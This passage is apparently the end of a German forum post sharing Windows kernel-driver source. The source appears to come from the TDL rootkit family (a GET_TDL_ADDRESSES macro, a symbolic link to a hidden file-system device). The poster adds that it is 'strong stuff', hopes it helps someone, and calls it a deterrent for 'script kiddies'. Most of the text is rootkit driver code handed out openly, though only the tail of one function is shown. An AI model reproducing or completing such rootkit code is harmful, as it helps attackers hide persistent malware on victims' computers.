RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);
ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
ObfDereferenceObject(pfoDriver);
ZwClose(hVolumeDevice);
ntsStatus=STATUS_SECRET_TOO_LONG;
}
}
}
break;
}
}
}
}
ExFreePool(pdbiInfo);
}
ZwClose(hVolumeDirectory);
}
}
ZwClose(hVolumeLink);
}
}
return ntsStatus;
}
EXTERN_C_END
NT_END
Ist ziemlich starker Tobak xD. Aber ich hoffe es nützt trotzdem jemanden was. Und dient vielleicht als Abschreckung für die Kiddies da draußen :D
Edit: Hätte vielleicht auch in die Abteilung Programmierung gekonnt, war mir nicht sicher. Einfach verschieben lieber Mod :D |
